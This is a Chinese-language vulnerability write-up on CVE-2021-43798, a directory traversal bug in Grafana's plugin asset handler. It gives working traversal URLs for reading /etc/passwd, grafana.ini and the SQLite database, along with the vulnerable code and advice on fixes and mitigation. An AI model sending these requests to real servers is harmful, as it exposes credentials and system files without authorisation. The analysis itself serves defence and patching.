Grafana 任意文件读取漏洞分析(CVE-2021-43798 )
字数 959 2025-08-07 08:22:00
Grafana 任意文件读取漏洞分析(CVE-2021-43798)
漏洞概述
CVE-2021-43798是Grafana中存在的一个任意文件读取漏洞,影响版本为8.0.0-beta1到8.3.0。攻击者可以通过构造特殊的URL路径,读取服务器上的任意文件,包括但不限于配置文件、数据库文件、敏感信息等。
影响版本
- Grafana 8.0.0-beta1 至 8.3.0
漏洞原理
该漏洞存在于Grafana的插件系统中,特别是插件静态资源加载功能。Grafana允许通过HTTP请求访问插件目录中的静态资源,但由于路径验证不严格,攻击者可以利用目录遍历技术访问系统上的任意文件。
漏洞复现
环境搭建
- 下载受影响版本的Grafana(如8.2.0)
- 安装并启动Grafana服务
漏洞利用
攻击者可以构造如下URL来读取任意文件:
http://target:3000/public/plugins/<plugin-name>/../../../../../../../../path/to/target/file
其中:
<plugin-name>可以是任何已安装的插件名称- 路径中的
../用于目录遍历
示例攻击
- 读取/etc/passwd文件:
http://target:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
- 读取Grafana配置文件:
http://target:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini
- 读取数据库文件(如果使用SQLite):
http://target:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db
漏洞修复
官方修复
Grafana在8.3.1版本中修复了此漏洞,主要修复措施包括:
- 对插件静态资源请求进行严格的路径验证
- 防止目录遍历攻击
临时缓解措施
如果无法立即升级,可以采取以下措施:
- 使用反向代理或WAF过滤包含
../的请求 - 限制对
/public/plugins/路径的访问 - 确保Grafana运行在最小权限环境下
深入分析
漏洞代码分析
漏洞主要存在于pkg/api/plugins.go文件中,处理插件静态资源请求的函数没有正确验证请求路径:
func (hs *HTTPServer) pluginAssets(c *models.ReqContext) {
// ...
requestedFile := filepath.Clean(web.Params(c.Req)["*"])
pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)
// ...
}
问题在于filepath.Clean不能完全防止目录遍历攻击,攻击者仍然可以通过构造特殊路径绕过限制。
攻击面扩展
除了读取文件外,该漏洞还可能与其他漏洞结合使用:
- 读取配置文件获取数据库凭据
- 读取源代码寻找其他漏洞
- 结合RCE漏洞实现完整攻击链
防御建议
- 及时升级到Grafana 8.3.1或更高版本
- 定期审计系统上的插件
- 实施最小权限原则运行Grafana
- 监控和记录对插件静态资源的访问
参考链接
- Grafana官方安全公告
- CVE-2021-43798详细描述
- 漏洞修复commit记录